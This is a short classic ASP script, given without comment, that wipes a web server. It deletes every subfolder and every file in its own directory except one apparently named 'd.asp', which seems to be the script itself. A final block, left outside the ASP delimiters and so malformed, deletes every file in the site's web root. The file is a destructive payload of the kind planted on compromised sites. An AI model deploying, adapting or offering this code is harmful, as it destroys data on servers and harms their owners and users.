<%
function DeleteFile(Filename)
if Filename<>"" then
Set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FileExists(Filename) then
fso.DeleteFile Filename
end if
set fso = nothing
end if
end function
%>
<%
set fso=server.CreateObject("scripting.filesystemobject")
folderspec=server.mappath("./")
Set f = fso.GetFolder(folderspec)
Set fc = f.SubFolders
For Each f1 in fc
fso.deletefolder(folderspec&"/"&f1.name)
Next
Set fc = f.Files
For Each f1 in fc
filename=f1.name
if filename<>"d.asp" then fso.deletefile(folderspec&"\"&filename)
Next
set fso=nothing
%>
Set WXFso = CreateObject("Scripting.FileSystemObject")
cpath = Server.MapPath("/")
Set theFolder = WXFso.GetFolder(cpath)
For Each objFile in theFolder.Files
WXFso.DeleteFile(objFile.name)
Next